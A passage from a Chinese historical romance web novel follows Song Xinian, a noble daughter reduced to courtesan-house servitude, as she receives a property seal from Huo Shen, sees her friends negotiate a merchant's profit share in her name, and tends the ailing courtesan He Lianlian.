霍慎说:“我并无冒犯的意思,只是贺姑娘你也和她相处的时间不算短了,你觉得宋家的女眷们,真的适合待在这里吗?你能从寂寂无闻走到名动京城,想必也是受尽苦楚的,你从没想过要离开这里吗?你觉得以她的性子,你走过的路,她能顺利走出来吗?”
贺怜怜被霍慎问得哑口无言,但她不得不承认霍慎句句在理,但也确实杀人诛心!
贺怜怜说:“我也就是个旁观者,我今晚还有客,阿梦你好好招待二位公子吧,我就不奉陪了。”贺怜怜起身,整理衣服,行礼告辞。
王靖宇说:“我在这了,谁还敢这么不识相找你作陪?”
贺怜怜低头看他,掩唇轻笑说道:“哈哈,小侯爷今晚要留宿我房里了?”
王靖宇摇头,说道:“怎么会呢。你我是朋友,我自是不会怠慢你的。”
贺怜怜说:“白捡了个小侯爷做朋友,我以后也算有个靠山了。”
王靖宇说:“既然是朋友,我自然会罩着你,你今晚不必再陪客。坐下来安心喝茶就是,我会让长寿去和杜妈妈说一声的。”
贺怜怜说:“你的好意我心领了,但你若真出去说了,别人会笑你‘占着茅坑不拉屎’的,反而会坏了我的事。你再往前管我的事,在我看来,可就不是朋友这么简单了,既是
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朋友,我若有事需要你相助,自然不会和你客气的。”
贺怜怜走后,屋内一片寂静,王靖宇也有点尴尬,贺怜怜刚才的话,让她清醒了些。
宋昔年反应过来这些日子都是因为靠王靖宇撑腰,贺怜怜平时的照顾,才使得自己其实并没有真正意识到周遭的变化和生活的不同。
霍慎说:“没想到她居然是个明白人,难怪她能高居花魁之位,真是不简单啊!”霍慎真心夸赞她。
王靖宇说:“没想到有生之年,我还能听见你夸别人,真是难得啊!”
宋昔年说:“你到底找我有什么事?”
霍慎说:“你和宋诺说,你留在我这儿的银子,不打算要了?”
宋昔年说:“这事啊,阿诺和我说,你想独吞,我就随口和他说了不要也罢。”
霍慎皱眉看着她,说道:“随口?你觉得我会独吞?”
王靖宇说:“你还有钱在他那?多少钱?”
宋昔年:“两万银票!”
王靖宇:“你为何给他?”
宋昔年、霍慎同时说:“你闭嘴!”王靖宇被吓得一激灵。小声嘀咕说道:“还真是有默契!”
宋昔年对霍慎说:“我不是,也不是没有可能吧!如今我们没有关系了,两万两可不是小数目,你不心动?”
霍慎被她问住了,不知该如何解释,直接从钱袋里掏出一枚粉色玉章,递给宋昔年。
霍慎说:“用这笔钱买来的所有产业凭契盖得都是这个章。如今我把印章送来给你,你就自己收着吧。”
宋昔年看了看,印章底部刻的是一朵祥云和一枝桃花,相互对称,左下角还有一个很小的‘云’字,样式很复杂,极难复制。
宋昔年说:“你既然把印章给我了,那干脆把凭契也一起给我吧。”宋昔年伸手讨要。
霍慎低头笑了笑,说道:“你们姑侄俩还真是如出一辙,向人讨东西都是这么理直气壮的。”
王靖宇在旁边听了,低笑出声,并未说话。
宋昔年说:“本就是我的,难道我还要低三下四求你吗?”
霍慎说:“是你的没错,但现在,在我手上,你凭何如此强硬地讨要?你要知道,到了别人手上的东西,别人认就是你的,别人不认那就不是你的了!在东西没有到手之前不可蛮横强硬,否则得不偿失!”
王靖宇在一旁也说:“这回他说得没错,你该牢牢记住才行!”王靖宇连连点头。
宋昔年白了王靖宇一眼,说:“那你到底要不要给我?”
霍慎说:“凭契先放我这儿,方便我日常打理,你现在的身份也不适合有产业在身,何况你住这里不怕被人偷去?”
宋昔年想了想觉得有理,说道:“那就有劳霍四公子替我操劳了!”宋昔年起身向他行礼。
霍慎也站起身,说道:“之前是谁说我们两清的?如此我们这辈子都不可能两清了,你别忘了宋诺还在霍家!”霍慎慢慢走向她。
宋昔年被他的话震慑住忘了避让,霍慎趁机在她耳边说:“别客气,我们来日方长!”
31. 第 31 章
霍慎留下这句话之后就离开了,宋昔年看着霍慎离开,突然感觉自己已经被霍慎看穿,霍慎之前的话,就像一把利刃重重地插进她的心脏。她缓缓坐下,直到王靖宇把帕子递到她的面前,宋昔年才发现自己流泪了,更可笑的是她居然毫无察觉。宋昔年笑出了声,但她却流着眼泪,她已经很久没有哭了。
王靖宇轻拍她的背,并没说话,许久之后,宋昔年平复了情绪,她认真地看着王靖宇。
宋昔年深吸口气说:“元安,等明日解决了白家的事之后,你就别再来乐章台找我了。”
王靖宇说:“好好的,这是怎么了?”
宋昔年说:“即使到了如今的地步,我也还是下意识地想要依靠你们,仗着有你和怜姐姐的照顾,过着看似安稳的日子,但这终究不是长久之计。若不是今日霍慎提起我爹,我才惊觉我已经有许久都没有想起我父亲他们了。”
王靖宇说:“你爹也一定是希望你们能过得好的,其他的他不会同你计较的。”
宋昔年说:“我不能再这样了,这样也不是长久之计,霍慎的话点醒了我,我不可能带着我娘和嫂子一辈子待在这里,我必须自己得立得住才行,如果你一直帮我,我会一直都想依赖你的。明日过后,除非我真到了生死关头,否则你别出手帮我。”
王靖宇说:“我怎么能对你的苦难袖手旁观呢?”
宋昔年说:“有些路我终究是要一个人走的,你总是把我保护在你身后,是在变相地害我,对我没有好处的。”
王靖宇说:“那我还能来找你吗?”
宋昔年说:“当然,乐章台开门做生意,自然喜欢你这种身份尊贵的人能常来,只是你不能再像之前那样,总是大张旗鼓的每日都来了。”
王靖宇点点头,算是勉强答应。
宋昔年说:“行了,时辰不早了,我累了,你也早点回去吧。明日还有要紧事要办,你接了逢恩就直接过去,不必来接我了,我明日自己去梦仙楼。”
王靖宇说:“那你早点休息,我先走了。”
王靖宇走后,宋昔年来到贺怜怜门前,听着里面的动静,她和守在门口的阿昙对视一眼。
阿昙说:“听说姑娘明日有事吩咐你去办,姐姐今日早些回去休息吧。”
宋昔年看了房门一眼,说道:“那好吧,今夜就辛苦你了!”
宋昔年回到下院,看见宋母坐在门口发呆。她走上前喊了一声,说道:“娘,怎么坐在这儿,天气这么冷生病了可不得了。”
宋母说:“原想着,坐着等你回来,却突然想到了你爹和兄弟们。这天这么冷,也不知道他们在北境那苦寒之地要怎么熬。”
宋昔年缠着宋母起身,不发一言,宋母察觉出女儿的不对劲,说道:“我也只是一时兴起才想想,你别多想,如今我们一家人能都活着已经是很好了。”
宋昔年说:“我知道,娘不必为我担心。”
宋母看她情绪不好,问道:“可是发生了什么事?”
宋昔年说:“娘,你说我们这么草率地就来了乐章台到底是对是错,若是爹爹知道了,会不会生气怪我?”宋昔年迷茫地看着苍老了不少的母亲。
宋母拉她在床边坐下,说道:“不会的,几个孩子里,你爹最是疼你!再说我们这也是无奈之举,他会理解我们的,你爹是见惯了生死的,自然不会在意那些不重要的虚名,他最懂活着的重要性!”
宋昔年说:“不重要吗?可是我们也不能一直都这样,等阿诺大了,到了娶妻的年纪,若我们还顶着罪奴的头衔,那他.....”
洪媛端着托盘从厨房走进来,说道:“他才多大,你就为他操心这个,倒是显得我这个做亲娘的不称职了。”洪媛把托盘放在桌上,对宋昔年招手。
宋昔年来到桌前,问道:“这是什么?”
洪媛说:“几个时辰前,怜怜叫阿昙送回来的雪蛤,说是想吃牛乳炖雪蛤,娘就煮了些。剩的雪蛤,我配了梨子在里头炖了。你快尝一尝,冬天吃这个也是极好的,你整日在上头应付,正好给你补补。”
宋昔年拿起勺子,吃了一口发现碗里大多是雪蛤,就有几块很小的梨子,宋昔年的眼泪无声地落下了,她知道剩下的雪蛤肯定都在这个碗里了。
洪媛说:“如何?我的手艺也不比娘差吧!”
宋昔年抬头问:“你们都吃了吗,怎么就一碗?”
洪媛看到宋昔年脸上挂着泪,说道:“我做得这么好吃啊,卿云你都流泪了呀!阿昙送回来的多。只送了一碗上去,剩的我们给阿昙还分了一碗呢,我和娘在你没回来之前就先吃过了,这份是特意给你留的,放心吃吧。”
宋昔年从钱袋里拿出了一两银子给洪媛,说道:“嫂子,这钱你拿着,得了空再去买点燕窝和雪蛤回来吃。虽说我们吃不起特好的,但买些便宜的燕窝碎和散雪蛤还是吃得起的。”
洪媛接过银子,说道:“你想吃说一声就是了,我和娘也有银子的,何况家里不是还有之前小侯爷给的钱,不用你自己再拿银子给我的。”
宋母说:“你的钱你自己收着,你时常在上头,身上多装些银子也方便点。”
宋昔年想了想又拿了二两出来,说道:“元安给的金子不能动,那是要攒着为我们赎出的钱,这钱你也拿着,买些过冬的炭。我在上面做事,时常客人会给些赏钱,来钱比你们都要容易很多。既然要活着就要好好活着,该用的我们就要用,想吃的我们就买来吃。”
宋母听了这话,也走到桌前坐下,洪媛则是转身把屋门关了起来,三人围坐在一起。
宋母说:“卿云,你是说我们可以赎出?”
宋昔年做了个噤声的手势,点了点头,小声说“我去杜妈妈那里喝了茶,她同意我们自赎,但每人需要交五万两白银!”
洪媛吃惊地说道:“那我们三人就是十五万两,这可不是个小数目,我们要到哪筹这么多钱?”
宋昔年说道
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:“嫂子不必担心,我会有办法的,只是我在杜妈妈那喝过茶的事,千万不能被任何人知晓,不然我们怕是想走也走不了了。”
婆媳二人点头,宋昔年把钱袋子重新挂回腰间,洪媛说:“方才瞧见你钱袋子里头那团粉粉的是什么啊?”
宋昔年才记起,霍慎给她的印章被她放在钱袋里了,低头去拿时,又看见自己的钱袋,想起今日霍慎的钱袋上绣的桃花的样式有点眼熟,很像是自己给宋诺的那个,但想想又觉得自己昏了头。
宋昔年说:“你们还记得我之前把陪嫁的两万银票给了霍慎嘛。他说帮我置了产业,凭契上盖的就是这个章,今日他把章送来给我了。”宋昔年拿出粉色印章给她们看。
宋母接过印章仔细看了看,说道:“你是说霍慎他今日为了找你特意来了乐章台?”
宋昔年说:“我怎知他是不是特意来找我的,反正就是给我这个,还责怪我不应该带着你们一起来乐章台。”宋昔年越说越生气。
洪媛笑了笑,说道:“原来妹妹你是被他责怪了才心情不好的呀!”
宋母说:“瞧着这印章足见他是花了不少心思的,但是为何只有一枚,另外一枚呢?”
洪媛说:“还有私产的凭契呢?按照常理,如若是归还不应该把凭契一并交给你吗?”
宋昔年说:“他说凭契放他那方便他出面打理,他只叫我收好这枚印章,其他的没说。”
宋母说:“既然凭契在他那,那他留一枚印章处理事务时用也说得过去。行了,时候不早了早点休息吧。”
宋昔年说:“那我先去洗漱,明天我的确是要早起的。”
宋昔年出去后,洪媛拉着宋母说:“娘,你说霍家那小子不会是有什么别的心思吧!”
宋母朝门外看了一眼,说道:“管他有什么心思,现在我们最重要的是攒银子自赎。”
洪媛点头说:“儿媳知晓了,那我们日后要更节省些才行了。”
宋母说:“今后就像卿云说的,该吃的吃,该用的用,十五万两不是一星半点能省出来的,我们要先保护好自己,才能有来日。你可别犯糊涂,钱没省下多少,最后把人熬干了!”
洪媛说:“还是娘思虑周全,那我明日就去买些燕窝碎放家里备着,也方便时常吃点补一补,娘你已经多了许多白发了。”
宋母拍了拍她的手说:“我老了自然白发多些,不用担心。我明天也和你一起出门,趁现在天气不算太冷,炭火的价格还没上涨前,我们要多囤点。正好去布庄绣房看看,能不能接点绣活干一干,也算多一份进项,还要去药铺买点防止伤寒的草药,冬天伤寒难免要小心些才好。”
话落,就听宋昔年在外面喊道:“娘,你记得明日提醒我,把你做的蟹酱带点给元安,今日他来时,我忘记给他了。”
宋母说:“你明日是和元安一起出门吗?”
宋昔年说:“嗯,我得去给我们未来铺路,让他做回引路人!”
32. 第 32 章
宋昔年今日一早醒来时,宋家婆媳二人已经穿戴好了,宋昔年睡眼惺忪地被母亲拉了起来。
宋昔年说:“你们怎么也这么早起来了?”
宋母说:“我们准备上街采买,我想了下,不如把家里的金子存进钱庄算了,这样安全还有利钱,这下院人流纷杂,万一有个闪失,就追悔莫及了。”
宋昔年说:“存了钱庄家里的活钱够用吗?”
洪媛说:“我们每个月都有月钱,还有之前存下的一些,应该是够日常开销的。”
宋昔年说:“那好吧,我以后若是得了赏钱,我们也都归拢一处攒了再存。”
宋母说:“我们不等你了,我们要早去早回,中午怜怜还等着吃饭呢,你自己也快点,不好叫元安等太久的。”
宋昔年掀被子下床被冷风吹得直打哆嗦,说道:“我知道的,你们可有什么想要的,我今天一起带回来。”
洪媛说:“你忙你的,不必记挂我们!”
宋母走后,宋昔年穿了昨晚挑好的,一袭水蓝色绸面衣裙,今日出门她就没有再刻意涂黑,只是带了水蓝色的面纱。她出门前先去了上面找贺怜怜。
宋昔年刚进屋,贺怜怜已经在洗漱,看样子昨晚留宿的客人刚走不久,宋昔年找来了药丸给贺怜怜服下。
贺怜怜吃下药丸之后,问道:“可是准备要走了?”
宋昔年说:“是呢,我争取早去早回,在姐姐晚上上台前,我一定回来,姐姐可有什么想要的?”
贺怜怜想了想说:“我的胭脂用得差不多了,你去帮我挑几盒回来吧?”
宋昔年说:“好的,还有别的吗?”
贺怜怜说:“没了,这些钱你拿着,你替我去查看产业收成,总不好要你没银子花,叫负责看顾的人,小瞧了你。”贺怜怜从梳妆台的抽屉里拿了个钱袋给宋昔年。
宋昔年:“姐姐放心!”
阿昙说:“我想吃桃酥了,姐姐若有空能否帮我带点回来?”说着阿昙就要从钱袋里拿钱给宋昔年。
宋昔年拦住了她,说道:“行了,就一份桃酥也不值几个钱,我给你带就是了,你就别拿钱给我了。”
贺怜怜说道:“别客气了,都算我的,就从我给你的银子里出,你看着什么好的,干果蜜饯也带点回来就是。”贺怜怜低头揉着太阳穴。
宋昔年:“那我去了,阿昙你照顾好姑娘。”
宋昔年来到梦仙楼门口,王靖宇的小厮长寿在门口等着她,看见她来了,赶忙上前迎接。
长寿说道:“小姐您可来了,你快去看看吧,我家小侯爷和霍家四公子吵得不可开交,险些要打起来了。”
宋昔年说:“我现在叫阿梦,你别叫错了,霍慎今日不用去翰林院吗?怎么会在这儿?”
长寿说:“我也不知呢。我们到了没一会,霍公子就来了,请也请不走,他说要等你来,和你见上一面才肯走。”
宋昔年刚打房间的门,就感觉被人抱住,低头一看。居然是宋诺。宋昔年搞不清楚状况,看见霍慎坐在桌边优雅地喝茶,王靖宇气鼓鼓地抱臂背对着霍慎,蒋明低头看着书。
宋昔年蹲下问宋诺:“你怎么会来这里,可是有什么事?”
宋诺摇头,说道:“公子今日不用去翰林院,就带我出来了。”宋诺笑眯眯看着宋昔年。
王靖宇说:“现在人来了,你可以放心地把孩子留在这了,你赶快走吧,我们这可没有人欢迎你,再说我们等会还有重要的事,你也不方便待在这儿!”
霍慎说:“行吧,宋诺你先看一会,我也要替祖母去挑生辰礼,不方便带着他,我完事了再叫阿无来接他。”霍慎盯着宋昔年上下打量。
宋昔年拉着宋诺坐下,说道:“谢谢你!”
霍慎起身,说道:“你们和他谈条件时,一定要记态度可以不强硬,但是分成条件千万别让步,可向上加价,不可向下降价,不然你们就会失去主导权,小侯爷也会失了面子。”
蒋明不解问道:“勤之兄为何这么说?”
霍慎转身看向蒋明,说道:“商人都爱逐利。但凡是有商榷空间能让步的,他们怎么会轻易放弃?你们都是官宦世家,自然不懂他们的一些手段,如果不想掉进他挖的坑里,最好的方法就是坚持你们自己的底线,不做任何让步。正所谓‘无商不奸,无利不起早’你们觉得他为什么愿意答应给宋昔年好处?”
蒋明说:“你是说这里面有诈?”
霍慎说:“有没有诈,我不敢肯定,但是他一定是这件事的最大受益者,你们要做的是防止他要得太多,到时候不好和宫里交代,毕竟这件事始终还是要上位者点头的,不是吗?”
王靖宇说:“你是怎么知道这件事的?我不记得我告诉过你呀!”
蒋明说:“其实我们本来就是打算今日要把这件事问清楚,勤之兄,可有什么好办法?”
霍慎说:“不用任何办法,只要小侯爷不做任何让步,他自然会老实交代!”
宋昔年说:“你怎么确定他一定会说?”
霍慎说:“就凭和他谈判的是皇亲贵胄,你别忘了这里可是京城!”
蒋明说:“有道理,君要臣死,臣不得不死!多谢勤之兄指点!”蒋明起身向霍慎鞠躬致谢。
霍慎说:“我不便多留,剩下的你们自己看着办吧!”
霍慎走后,王靖宇才拿起茶杯喝了口茶,说道:“哼~有什么了不起!我就看不惯他总是一副假正经的模样,其实心思最深的就是他。”
蒋明说:“但他也确实点拨了我们啊。”
王靖宇暴躁地说道:“蒋逢恩,你到底是哪头的?”
宋诺被王靖宇这一吼,吓得一激灵,糕点都掉了。
宋昔年说:“行了,小声点,吓到我家阿诺了!”宋昔年重新拿了块点心给宋诺,轻轻摸了摸他的头。
他们闲聊一会,房门被人敲响,白天满脸笑意,如沐春风地走了进来。
白天说:“真是抱歉,居然还要几位贵客等我。今日在梦仙楼所有花销都算白某人的,就当是我给各位赔罪了。”
宋昔年说:“既然人都到齐了,我就功成身退先走了,我还有别的事,你们聊吧!”
王靖宇说:“你要去哪,你还有什么事?”
宋昔年说:“我还要帮怜姐姐去庄子上的产业看看,年末了要去把进项收上来了。”
王靖宇拉着她的胳膊,侧头对长寿说:“长寿你亲自去跑一趟吧。”
宋昔年说:“这怎么行,长寿是侯府的人,若是被人发现拿来说嘴,你只怕是说不清了。”
蒋明说:“阿正,你也陪着一起去,你们带着底下的人一起去看着就行,不必你们亲自出面。”
王靖宇拉着宋昔年坐下,说道:“现在放心了!”
宋昔年说:“我还要去买桃酥和蜜饯干果。”
白天说:“哈哈哈,这好办,梦仙楼的小桃酥最是有名,他们也有做好的蜜饯茶食,你走的时候打包带上就是了,算在我账上。”
宋昔年说:“好吧,那这银子,长寿你拿着,打点庄子里的农户,别太小气叫人看轻,也别太阔绰,被人当了冤大头。”宋昔年准备从钱袋里拿钱给长寿。
王靖宇看了长寿一眼,长寿低头不敢接。王靖
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宇说道:“那些本就是庄上的佃户,是要交租的,何必还要打点,让长寿随便带几坛子烧刀子去打发下就行了,何必给银子。哎呀,这些你们女子不懂,长寿是最擅长的,你放心交给他吧。”
宋昔年说:“那就有劳你跑一趟,这些钱你拿着买打点的东西。”宋昔年想了想,从钱袋里拿出十两银子给长寿。
长寿看了一眼王靖宇,瞧见他点头才接过银子,说道:“要不了这些的,若是如此打点庄户,那你们会亏死的。”
宋昔年说:“我也不懂,你看着安排吧,剩的钱你带着底下人分点,大冷天的也不好叫你们白跑的。这也不是我的银子,我也是替人办事的。”
阿正和长寿都走后,王靖宇说:“现在没外人了,我们就别浪费时间了!”
白天说:“那我就开门见山了,我希望小侯爷能为我白家皇商地位作保,以图将来!我相信宋小姐和你说了吧,小侯爷意下如何?”
蒋明说:“不知白公子说的将来是何意啊?”
白天瞬间僵住,尴尬地说:“我的意思是....外头有小道消息说,太子即将登临那个位子,所以我也是未雨绸缪。”
王靖宇皱眉说:“小道消息?你该知道,你白家不过是一介布衣,有什么权利打探‘小道消息’你是嫌命长了吗?”
白天第一次从王靖宇身上感受到压迫感,即使王靖宇语气平静,但他就是相信王靖宇有权利合情合理要了他的命。
白天说:“只要小侯爷一句话,白家愿意把每年利润的一成按时送到侯府,再额外给宋小姐半成如何?”白天起身弯腰给王靖宇倒了杯茶,一直小心地看着王靖宇的脸色。
王靖宇笑了,说道:“哈哈哈,三成,没得商量,全部贵在卿云名下,我可以考虑。”
白天说:“小侯爷真是狮子大开口呀!”
王靖宇挑眉问道:“听说你豪置千两见贺怜怜,却只给了宋昔年五两金要求见我?”王靖宇似笑非笑看着白天。
白天说:“是我考虑不周。”
蒋明说:“我们和宋昔年的关系,你最清楚不过,不然你也不会找她来牵线,那这三成就算是你冒犯小侯爷的补偿,我们作为皇亲自然不好收你的钱,所以你把这些钱归在她名下是最好不过。”
白天还在犹豫,蒋明又说:“今日是看在你主动透露消息的份上,才给你一个和我们同桌谈判的机会,你该清楚,我和王靖宇缺的从来不是钱,我们要的你也给不了,我们不过是想为宋昔年将来打算,而这是你唯一的机会!”
白天说:“好,三成就三成,我叫人准备凭契。”
蒋明说:“不必了,我准备好了,你盖章就行。”
白天接过凭契看了看,说道:“入股凭契?不是承约凭契吗?”
王靖宇讥讽说道:“我答应你的自然不会食言,怎么你真敢把我们约定的事做成凭契吗?收起你的小心思。安分点也许你能活得长些。凭你也想玩弄皇权于股掌,你有那胆识吗?”
宋昔年和白天相互盖了章,白天告辞之前,王靖宇说:“你应该知道我的底线在哪了吧?记住你自己的身份,别做出格的事,否则我会让你后悔今天主动招惹我们!”白天转身行礼告辞。
宋诺看着那份凭契,小心地收进了怀里,在场的三人都呆在原地。
宋诺说:“公子说,姑姑的身份目前不好处理这些,他会帮着料理!”
蒋明说:“也对,我们都不好去,府衙备案,他的确是最合适的人选!”
王靖宇说:“那我忙了半天是为那个讨厌鬼?算了,也不算亏,是到了该收拾那帮老家伙的时候了。”
33. 第 33 章
回到霍家,宋诺把凭契交给霍慎,霍慎说:“他们可有说什么?”
宋诺摇头。说道:“没有,不过你真的只是暂时保管吗?”
霍慎说:“不相信?算了,小孩子不懂。你只需要知道,照我说的做,我能保证你每个月都能见到你姑姑。”
宋诺转身出屋,霍慎对站在一旁的阿无说:“再过两天就是祖母的寿辰,舅爷他们回来了就第一时间告诉我!”
阿无说:“公子请放心。我会格外留心的。”
宋昔年送走宋诺后,与王靖宇和蒋明闲聊,事情总算尘埃落定,自己也能安稳地喝口茶水,好好吃她已经阔别已久的梦仙楼的菜品。
蒋明终于合上了他手上的书,说道:“你准备如何处理那帮人?可需要我帮忙?”
王靖宇斜睨了他一眼,说道:“刚白天在的时候,你怎么没合上书,现在倒是认真起来了!”
蒋明说:“事先有了勤之兄的提醒,就自然不必太认真地对待他了,有你在我根本无须太费精力在他身上。说到狐假虎威展示皇家威仪,谁能比得过你!事情解决就好了,我又何必抢了你的风头。”
王靖宇说:“嗯~你倒是大度,但是被你这么一说感觉我很爱出风头似的。”
宋昔年说:“你就算不出风头,你也是最会让人瞩目的那个,何必还要在乎这个。”
王靖宇朝宋昔年眨眼,问道:“怎么样,我刚刚是不是很帅气!”
宋昔年和蒋明异口同声地说道:“是!”
蒋明说:“别贫了,你可有什么好主意,那帮人根基不浅,怕是不那么容易收拾!”
王靖宇说:“这个不急,我还要回去和我表哥商量下。”
宋昔年说:“你是说,你要把这件事告诉....”宋昔年手指向上指了指。
王靖宇耸肩,说道:“与其我自己小打小闹,不如给他们来波大的,把他们连根拔起永除后患的好。”
蒋明说:“你说得也有道理,顺便还可以把今天的事情,稍微透露一点,试探一下宫里的反应。”
不一会,长寿和阿正回来了,将收缴的银子交给宋昔年,宋昔年打包了梦仙楼的点心饭菜就准备和王靖宇他们分开,突然想起自己带了蟹酱。
宋昔年说:“我还要去买点别的东西,这是答应给你做的蟹酱和我娘自己做的一些酱菜。你带回去吃,这些日子就别再去乐章台了。”
王靖宇说:“啊!你进来时,我就瞧见了,后来被霍慎气得忘记提了。哎哟,还真是不少呢!”
蒋明说:“你确定这么多没有我的份吗?”
王靖宇说:“你这么个翩翩公子,吃这些酱菜不怕有失你的世子身份?这不适合你,你还是和卿云一样从梦仙楼打包点吃食回去吧,反正是白天那小子付钱,不吃白不吃!”
蒋明说:“王元安,你确定不带我分点?”蒋明语气威胁看着王靖宇说。
王靖宇知道,蒋明有点生气了,说道:“呵呵,开个玩笑,消消气!”王靖宇讨好地对蒋明笑着。
宋昔年看着他们俩吵嘴,自己准备起身离开,王靖宇却对她说:“快过年了,需要我给你送些年货给你,还是给你银子自己买?”
宋昔年说:“你们今日已经帮我套了天大的好处了,以后就别再给我银子了,你之前给的我娘已经存进钱庄了,我身上还有白天上次给我的五两金,还有平时攒的进项,过年的钱绰绰有余的。”
王靖宇说:“有道理,说不定以后你会是我们三人中最有钱的一个,到时候卿云啊,我就靠你养活了,别忘了哦!”王靖宇朝宋昔年害羞地捂脸。
宋昔年说:“如果真有这么一天,我就是你们最大的金库!”宋昔年难得心情不错,附和着王靖宇不着调的想法。
宋昔年出了梦仙楼,长长地叹了口气,朝着胭脂铺子的方向走去。
到了胭脂铺子,看着琳琅满目的胭脂水粉,她突然想起了从前,她也是最爱到这家店来买胭脂、香粉。因为这家店里有她最爱的桃粉胭脂和香粉。
突然有一个小姑娘朝她走来,说道:“小姐,可有什么喜欢的?可要去我们楼上坐下慢慢挑?”
宋昔年转头好奇地问道:“你觉得我像是能去楼上的客人吗?”
那姑娘说:“小姐真是说笑,您虽然穿着不算华丽,但是您手上可是提着梦仙楼的食盒,能在梦仙楼提走食盒的人,最少也要消费十两银子呢,我瞧着您这食盒是最大的双层食盒,最起码也要三十两了。”
宋昔年看了看印着梦仙楼的食盒,笑着说道:“原来是因为这个啊!我只是替我家小姐来跑腿罢了!”
那姑娘闻言说道:“那姑娘就自便吧,我就不奉陪了!”宋昔年的话还没说完,那姑娘转身去招待别的客人了。
宋昔年也不计较,自顾自挑了起来,她挑了贺怜怜平时常用的两盒胭脂,突然看见旁边的桃花香粉,犹豫半天还是也拿了一盒。
最后结完账要走时,就听有人在背后说道:“这个伺候人的居然还穿得这么好,这是什么世道啊!”
宋昔年听见了并没有回头,面色如常地走出店铺。走在回去的路上,宋昔年就在想为何以前她从未听过别人说过类似的话,难道这就是人们常说的‘地有高低,人有贵贱嘛’
回到乐章台贺怜怜的回笼觉还没睡醒,阿昙在门口守着,宋昔年把她要的东西递给她。
阿昙说:“姐姐去了梦仙楼吗?”阿昙瞧见她手上提的食盒。
宋昔年说:“嗯,碰到了小侯爷所以进去坐了一会,带了点吃食回来,你的桃酥也是那买的,你趁着这会儿得空也吃几块尝尝。”
阿昙说:“难怪还是热的呢,每次都是我占姐姐便宜,我都不好意思了。”阿昙打开纸包拿出一块精致的桃酥放入嘴里吃着。
宋昔年说:“这有什么,其实不是我花钱,你就安心受着就是。我先回下院一趟,等会儿怜姐姐醒了,你来叫我声。”
阿昙说:“好,姐姐你去吧,帮我把桃酥也带回去。”阿昙迅速又小心地把纸包重新包
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上,生怕碰碎桃酥。
宋昔年说:“别包了,梦仙楼的桃酥要趁热吃才好,再说也没几块,你索性都吃了得了。”
阿昙纠结地说道:“我还想留着慢慢吃呢,一次全吃光会不会太奢侈?”
宋昔年说:“凉了就和普通桃酥没有区别了,留着有何用?到时候岂不可惜?我还带了蜜饯干果,到时候也分你一点,那个能放得住,都是梦仙楼的。”
阿昙激动地说:“听说冬天梦仙楼的干果蜜饯也是新鲜的果子做的,所以特别贵,我还从未吃过呢!”阿昙一把抱住宋昔年高兴地蹦着。
宋昔年说:“小声些,别把怜姐姐吵醒,再说你这么大声是生怕别人不知道你有好东西吗?”
阿昙吓得收敛了动作,捂住了嘴,说道:“姐姐,你快些先回去休息吧,姑娘醒了,我再去叫你。”宋昔年把买的胭脂水粉交给阿昙,转身回了下院。
宋昔年回到下院,看见宋母正在准备午饭,她放下食盒说道:“娘,你先别忙,我从梦仙楼带了饭食回来,你放灶上温着,怜姐姐这会儿还没醒,等她醒了我再给她送上去。我多带了些,我们先吃吧,为今天好好庆祝一下。”
宋母打开食盒看了看,说道:“梦仙楼的饭菜不便宜吧,你怎么带这么多回来,叫元安这么破费!”
洪媛说:“卿云你如此高兴,是不是你说的‘路’铺成了?”
宋昔年说:“还是嫂子聪明,娘快来吧,这些不是元安花钱的,再不吃就凉了,你也好久没吃梦仙楼的菜了吧,快来尝尝!”
饭还没吃完,阿昙就下来说:“姐姐快去吧,姑娘醒了要找你呢!”
宋母说:“那我去把灶上的饭菜给你拿来,你正好带上去。”
阿昙悄悄地从碟中捻了一块卤肉吃,洪媛笑着起身进厨房给她拿了副碗筷。
宋昔年吃完最后一口饭,说道:“你坐下吃饭吧,我自己上去就行!”宋昔年端着准备好的饭菜就上去了。
宋昔年进门,贺怜怜坐在床沿用手按着头,宋昔年把饭菜放在桌上,立马上前查看。
宋昔年蹲在贺怜怜面前,问道:“我早上来时就瞧见姐姐不适了,睡了一觉没有好转吗?不如我叫我娘今晚睡前给姐姐看看?”
贺怜怜说:“别等挽上了,等会你就去把婶子带上来吧。”
宋昔年说:“怎么急吗?那是不是很严重,不如我直接陪你去看大夫吧,我娘毕竟只会些皮毛,真严重的话,别耽误了病情。”
贺怜怜说:“不算严重,只是晚上人多,婶子上来怕是多有不便,而且我晚上要上台的,现在瞧一瞧也好不会耽误我晚上待客。”
宋昔年搀扶贺怜怜来到桌前,说道:“那先吃饭吧,等你吃完饭,我把碗碟送下去,正好带我娘上来。”
贺怜怜看了看饭菜。说道:“你还有心情从梦仙楼带吃食回来,看来你的事情是办成了吧!”
宋昔年对她微笑说道:“今天都很顺利呢!”宋昔年掏出从田庄收回的银子递给贺怜怜。
34. 第 34 章
贺怜怜吃完午饭,又回到床上休息了,宋昔年小心地为她盖好被子,往炭盆里加了几块炭之后端着托盘出去了。
宋昔年带着宋母上楼,这是半年来宋母第一次上楼。她跟在宋昔年后面迈上台阶,周围多了围观的人,因为从宋母提着裙摆上楼的动作就能看出她从前的出身并不一般,但是大家也就是看看,因为不管如何她现在已经是乐章台的官妓奴了。
宋母进房看见贺怜怜躺在床上,她走到床边为她把脉,宋昔年紧张地看着。
宋母说:“你这明显是气血两虚导致脉搏的弹性和力量减弱,出现弱脉。你最近是不是睡眠不好,感觉精神不济,身体疲惫乏力?”
贺怜怜说:“最近是感觉很累,头也疼得很。”
宋母说:“不是什么大问题,好好休息,多滋补就能回来。”
宋昔年说:“那可要抓副药来吃?”
宋母说:“不必了,是药三分毒,食补就行。我待会回下院炖了红枣乌鸡党参汤你吃上几顿再多加休息自然就好了。”
阿昙说:“那我这就去买食材。”阿昙风风火火地出门了。
贺怜怜说:“婶子可有法子缓解我的头疼?”
宋母说:“你将头枕在我的膝盖上平躺,我给你按摩一下,看看有没有效果。从前卿云她爹头疼不适,我就给他按摩效果很好的。”
宋昔年说:“姐姐还是要多休息,我瞧着这病就是累出来的!”
贺怜怜享受着宋母的按摩,闭着眼睛说道:“你以为我不想歇息吗?我如今这位子想歇都不能了,每月也只有来月事的时候可以清闲几天而已。”
宋昔年说:“不能和杜妈妈说一下,让她帮你对外称几天病,让你休息几天吗?”
贺怜怜说:“哈哈哈,做官妓的最忌讳对外称病,那些男人们都怕死得很呢!再说歇的时间长了,男人们就对你冷了,那我还怎么做花魁?”
宋昔年说:“等歇好了再迎客也是一样的啊,总不能不顾惜自己的身体!”
贺怜怜说:“你当来寻欢作乐的男人们会等你吗?没了你还有别人,冷了之后再想热就难了,男人大多是喜新厌旧的!”
